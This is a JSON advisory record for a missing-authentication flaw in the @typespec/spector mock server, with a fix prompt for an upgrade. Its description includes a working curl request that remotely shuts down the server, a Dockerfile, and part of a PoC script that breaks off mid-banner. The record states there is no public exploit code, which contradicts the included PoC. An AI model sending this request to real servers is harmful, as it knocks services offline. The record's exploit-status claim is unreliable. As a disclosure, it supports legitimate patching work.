{"answers":{"affected":"2 open source packages ship an affected version, including @typespec/spector.","exploited":"There is no known exploitation of GHSA-7q9c-hpx7-9cwm in the wild and no public exploit code.","fix":"Upgrade @typespec/spector to 0.1.0-alpha.27 or later.","what":"GHSA-7q9c-hpx7-9cwm is a missing authorization vulnerability in @typespec/spector, published on 4 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-7q9c-hpx7-9cwm and fix it if it is affected.\n\nWhat it is: GHSA-7q9c-hpx7-9cwm is a missing authorization vulnerability in @typespec/spector, published on 4 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-7q9c-hpx7-9cwm in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- @typespec/spector (npm): affected all versions; fixed in 0.1.0-alpha.27\n- @typespec/spector (npm): affected all versions; fixed in 0.1.0-alpha.27\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-7q9c-hpx7-9cwm/ (Markdown: https://insights.sbomify.com/GHSA-7q9c-hpx7-9cwm/index.md)","id":"GHSA-7q9c-hpx7-9cwm","markdown":"https://insights.sbomify.com/GHSA-7q9c-hpx7-9cwm/index.md","name":"GHSA-7q9c-hpx7-9cwm","record":{"aliases":[],"analysis":{"component_type":"developer_tool","fix_type":"patch","impacts":["denial_of_service"],"network_reachable":"yes","non_default_config":false,"product_category":"TypeSpec mock server","requires_auth":"none","summary":"Unauthenticated remote attackers can shut down the TypeSpec Spector mock server via a single POST request, causing denial of service.","user_interaction":"not_required","vuln_class":"missing_authorization"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\n`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.\n\n### Details\n\nThe vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:\n\n```ts\n// packages/spector/src/routes/admin.ts:7-12\nrouter.post(AdminUrls.stop, (_req, res) =\u003e {\n  logger.info(\"Received signal to stop server. Exiting...\");\n  res.status(202).end();\n  setTimeout(() =\u003e {\n    process.exit(0);\n  });\n});\n```\n\nThe constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).\n\nThe complete attack-reachable call chain is:\n\n1. **`packages/spector/src/cli/cli.ts:139-166`** — `tsp-spector serve \u003cscenariosPaths..\u003e` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default.\n2. **`packages/spector/src/actions/serve.ts:28-33`** — constructs `MockApiApp` and calls `start()` without supplying a host argument.\n3. **`packages/spector/src/app/app.ts:39-40`** — registers `internalRouter` at `/`, which includes the admin routes.\n4. **`packages/spector/src/routes/index.ts:4-5`** — mounts `adminRoutes` under `/`.\n5. **`packages/spector/src/routes/admin.ts:7-12`** — the `POST /.admin/stop` handler (the sink) is reached with zero authentication.\n6. **`packages/spector/src/server/server.ts:88`** — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).\n\nThere is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.\n\n### PoC\n\n**Prerequisites:**\n\n```\ngit clone https://github.com/microsoft/typespec\ncd typespec\n# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)\npnpm install\npnpm build\n```\n\n**Step 1 — Start the mock server:**\n\n```bash\npnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000\n# Server listens on 0.0.0.0:3000 by default\n```\n\nAlternatively, use the provided Docker environment:\n\n```bash\n# Build context: reports/npm_web_64_microsoft__typespec/\ndocker build -t vuln002-spector -f vuln-002/Dockerfile .\ndocker run -d -p 3001:3000 --name vuln002-server vuln002-spector\n```\n\n**Step 2 — Execute the exploit (single unauthenticated request):**\n\n```bash\ncurl -i -X POST http://\u003cserver-host\u003e:3000/.admin/stop\n```\n\nUsing the provided PoC script:\n\n```bash\npython3 vuln-002/poc.py --host 127.0.0.1 --port 3001\n```\n\n**Step 3 — Observe the result:**\n\n```\nHTTP/1.1 202 Accepted\n```\n\nThe server process immediately exits. Subsequent connection attempts are refused. Docker logs show:\n\n```\ninfo Received signal to stop server. Exiting...\n```\n\nDocker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.\n\nThe primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.\n\nAlthough `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop\n# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)\n# CWE-306: Missing Authentication for Critical Function  CVSS 7.5 (High)\n#\n# Build context: reports/npm_web_64_microsoft__typespec/\n# Build:  docker build -t vuln002-spector -f vuln-002/Dockerfile .\n# Run:    docker run -d -p 3000:3000 --name vuln002-server vuln002-spector\n\nFROM node:22-slim\n\n# Install tsx to run TypeScript source files directly without compilation.\n# This lets us use the actual repository .ts files as-is.\nRUN npm install -g tsx@4\n\nWORKDIR /poc\n\n# Minimal package.json declaring ESM mode\nRUN echo '{\"type\":\"module\"}' \u003e package.json\n\n# Install only the npm packages actually used by the vulnerable code path:\n#   express     — web framework (admin.ts, routes/index.ts, server.ts)\n#   picocolors  — terminal colors (logger.ts)\nRUN npm install express picocolors\n\n# -----------------------------------------------------------------------\n# Copy the EXACT vulnerable source files from the repository.\n# No source file is modified — they are used verbatim.\n# -----------------------------------------------------------------------\n\n# packages/spector/src/constants.ts\n#   Defines AdminUrls.stop = \"/.admin/stop\"\nCOPY repo/packages/spector/src/constants.ts ./spector/constants.ts\n\n# packages/spector/src/logger.ts\n#   Simple console logger; imported by admin.ts\nCOPY repo/packages/spector/src/logger.ts ./spector/logger.ts\n\n# packages/spector/src/routes/admin.ts  ← VULNERABILITY SINK\n#   Registers POST /.admin/stop with NO authentication → process.exit(0)\nCOPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts\n\n# packages/spector/src/routes/index.ts\n#   Mounts adminRoutes at \"/\"\nCOPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts\n\n# Minimal entry point that connects the router to the HTTP server,\n# replicating the behaviour of MockApiApp.start() + MockApiServer.start()\nCOPY vuln-002/server-entry.ts ./server-entry.ts\n\nEXPOSE 3000\n\n# tsx strips TypeScript types at runtime — no separate compile step needed\nCMD [\"tsx\", \"server-entry.ts\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop\nPackage:   @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)\nCWE:       CWE-306 — Missing Authentication for Critical Function\nCVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  Base Score: 7.5 (High)\n\nVulnerability:\n  packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without\n  any authentication, token, Origin, or IP-source check.  The handler calls\n  process.exit(0) after returning HTTP 202.  The server listens on 0.0.0.0\n  (packages/spector/src/server/server.ts:88) so any network-reachable client\n  can terminate the process with a single unauthenticated POST request.\n\nUsage:\n  python3 poc.py [--host HOST] [--port PORT]\n\"\"\"\n\nimport sys\nimport time\nimport socket\nimport argparse\nimport urllib.request\nimport urllib.error\n\nBANNER = \"\"\"\n================================================================\nVULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop\nPackage : @typespec/spector 0.1.0-alpha.26\nCWE     : CWE-306  CVSS 7.5 (High)\n=======================================","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop","id":"GHSA-7q9c-hpx7-9cwm","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"missing_authorization","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["0.1.0-alpha.27"],"introduced":["0"],"last_affected":[],"package":"@typespec/spector","purl":null,"source":"GHSA-7q9c-hpx7-9cwm"},{"ecosystem":"npm","fixed":["0.1.0-alpha.27"],"introduced":["0"],"last_affected":[],"package":"@typespec/spector","purl":"pkg:npm/%40typespec/spector","source":"GHSA-7q9c-hpx7-9cwm"}],"products":null,"published":"2026-09-04","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Unauthenticated remote attackers can shut down the TypeSpec Spector mock server via a single POST request, causing denial of service.","url":"https://insights.sbomify.com/GHSA-7q9c-hpx7-9cwm/"}